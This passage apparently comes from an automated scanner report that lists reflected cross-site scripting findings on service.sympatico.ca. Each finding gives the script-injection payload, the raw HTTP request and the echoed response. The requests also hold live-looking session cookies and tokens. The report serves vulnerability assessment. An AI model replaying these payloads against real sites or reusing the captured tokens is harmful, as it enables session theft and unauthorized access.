09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:51 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/bannerPlayer.css809d0"><script>alert(1)</script>1acd3280482" />
...[SNIP]...

2.226. https://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/glossaryDefinition.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa0f6"><script>alert(1)</script>5a0fde6e57 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /cssfa0f6"><script>alert(1)</script>5a0fde6e57/glossaryDefinition.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:42 GMT
Connection: close
Set-Cookie: SMSESSION=JQG4+ot+b/ymJtrza28FdFrh9CqzUncbtIW2AVI+zHNRzz+ZWm1jOO9poV0UqwUyO+cePxm7BqrH/GK0p2VWoXpdbatrGIBaE8CsAoy0OO6EPOGr99HEUVt3M8xZZoDfy78htxjznYa4ax04J+JCRynZeCw9SOfmlu4ydDQ6BwRuQsBIssko796eZ4T1rroNW2Oj3HkkiV83+rVxaZXg4t7JWggwWXpQb6OO14K3cQG95NYpNXd00+PalDOmrMhVrNsrBlKRfIQlRR0yUWfwwfkpo4AOZEIwfgFn25Q7VkLxTQ3XZWlghQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:42 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:42 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/cssfa0f6"><script>alert(1)</script>5a0fde6e57/glossaryDefinition.css" />
...[SNIP]...

2.227. https://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/glossaryDefinition.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0355"><script>alert(1)</script>cc1d0d5529f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/glossaryDefinition.cssc0355"><script>alert(1)</script>cc1d0d5529f HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:46 GMT
Connection: close
Set-Cookie: SMSESSION=9luZkh6tuOfizREn6+1iyM8p63GKL0QaOTdjj8LujiJXZnPwTkMS7Fp952TGkvWb07FIx/8qR7tVehFoT9CrslDlZ/w3mc33f2OEMd7ugjwu/KRX76UVunlk77bqA3xEmTV1XrdJkBH/aS83cia6DbJdXP4SP30RWMRY2Ta0Wwao3o4Mj1INKqsZ1Bq4xgwBmgC0lXzDq3bu7EQfIwIre1RBZT8yDPX+xu9KJj9BPFIt8+XjpaP0NOq9RDGA1PdKcfCbqC5jiFRrplK8k81vGqAV0EG8+sjW6BStBFKrvdRHX5A20EOwbg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/glossaryDefinition.cssc0355"><script>alert(1)</script>cc1d0d5529f" />
...[SNIP]...

2.228. https://service.sympatico.ca/css/inputButtons.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/inputButtons.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a9bf"><script>alert(1)</script>c5a557bec7a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css4a9bf"><script>alert(1)</script>c5a557bec7a/inputButtons.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:26 GMT
Connection: close
Set-Cookie: SMSESSION=lzkuq1XCuvoRqw3nRIff5u52i44BbZAx9T1COMxvCbnqbtjFJbFtvJZ7tsjtj2JTBO3AG1+MpRswonfeUtmwR0XHmahO/tHFMP01Q4o/2a8iQPqY27fh/w3QbiEU+F26QES1ykR1QnhzW7i6nU4/cTYSZ20qhGOZumK/gNaYsm3FxwPdIUrv9NMi0l8JhLamTvFC9/wRMWhfA5aB6WPtx4svP+s/awHlNG3x9dXeg78W4hv63WDj5/gj1G0sSbi34Y5vJEKtQCYNSz++wiD2JlTVxk7F2jSzsH31LyX2xO974/msWlJwSA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:26 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
